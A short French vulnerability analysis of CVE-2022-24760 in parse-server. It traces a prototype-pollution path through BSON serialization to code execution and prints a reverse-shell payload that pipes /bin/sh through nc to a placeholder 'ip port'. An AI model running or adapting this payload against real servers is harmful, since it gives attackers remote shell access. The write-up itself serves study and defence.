
Analyse technique détaillée de CVE-2022-24760, une vulnérabilité de pollution de prototype dans parse-server menant à une exécution de code à distance via la sérialisation BSON et l'exploitation de condition de course.



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPathDatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult est utilisé lors de l'ajout (add) et de la mise à jour (update) d'une nouvelle classe. Cependant, pour que la pollution de prototype réussisse, la condition doit être satisfaite lorsque la clé de mise à jour __op fait partie de ['Add', 'AddUnique', 'Remove', 'Increment']
Par conséquent, les valeurs du prototype ne peuvent être que des array ou des number


Exemple de requête :

_bsontype est Code, serializeCode est exécuté.
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



Utiliser la pollution de prototype pour polluer options['evalFunctions'] et ainsi contourner jusqu'à la fonction isolateEval
Exemple de payload
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath a lieu après la désérialisation, il est nécessaire d'effectuer une condition de course en continu pour pouvoir déclencher isolateEval